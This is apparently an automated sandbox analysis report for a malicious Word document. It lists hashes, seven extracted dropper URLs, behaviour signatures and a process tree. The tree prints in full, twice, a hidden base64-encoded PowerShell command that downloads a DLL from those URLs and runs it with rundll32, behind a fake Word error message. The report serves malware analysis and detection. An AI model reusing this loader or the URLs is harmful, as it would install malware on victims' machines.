a5b510a8622fa550ad9b0a48d4201e286b1f446aa6fb78c5b4274c11a07ff4d0

General

Target
e6e59fd682d1212c1b789365f92e5a5e778ca20f2d16440ec6f5b46ddb85d431.doc
Size 190KB
Sample201221-63d1a5ry2n
SHA256 e6e59fd682d1212c1b789365f92e5a5e778ca20f2d16440ec6f5b46ddb85d431
MD5 67777f4603f15b8e2e4d7c1d53afb10d
SHA1 681f83498c6066c28fcc6f6dbd11a6c44656e6c3
SHA512 f5736d0d74b56c87de123224b63a610254c297850e03d70d9fcf4ad4f1c99450808c8f088410fae0790289a7e64064fc1bbed4c394abed2304ff6f549efc3281
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://parakkunnathtemple.com/bckup/7SDAvi/
exe.dropper
http://helionspharmaceutical.com/wp-admin/oXJB/
exe.dropper
https://accordiblehr.com/wp-admin/HdzyEn/
exe.dropper
https://snjwellers.com/wp-includes/esttW/
exe.dropper
https://norailya.com/vendor/1j/
exe.dropper
https://whytech.info/wp-includes/HceUxFK/
exe.dropper
http://resuco.net/wp-content/uploads/2020/12/S0K/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3008	3368	cmd.exe	15

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	3868	powershell.exe
29	3380	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
2616	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Vste\sdhisq.ytd	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3868	powershell.exe
3868	powershell.exe
3868	powershell.exe
3380	rundll32.exe
3380	rundll32.exe
3380	rundll32.exe
3380	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 3716	3008	cmd.exe	79
PID 3008 wrote to memory of 3716	3008	cmd.exe	79
PID 3008 wrote to memory of 3868	3008	cmd.exe	80
PID 3008 wrote to memory of 3868	3008	cmd.exe	80
PID 3868 wrote to memory of 4052	3868	powershell.exe	83
PID 3868 wrote to memory of 4052	3868	powershell.exe	83
PID 4052 wrote to memory of 2616	4052	rundll32.exe	84
PID 4052 wrote to memory of 2616	4052	rundll32.exe	84
PID 4052 wrote to memory of 2616	4052	rundll32.exe	84
PID 2616 wrote to memory of 3380	2616	rundll32.exe	85
PID 2616 wrote to memory of 3380	2616	rundll32.exe	85
PID 2616 wrote to memory of 3380	2616	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e6e59fd682d1212c1b789365f92e5a5e778ca20f2d16440ec6f5b46ddb85d431.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkA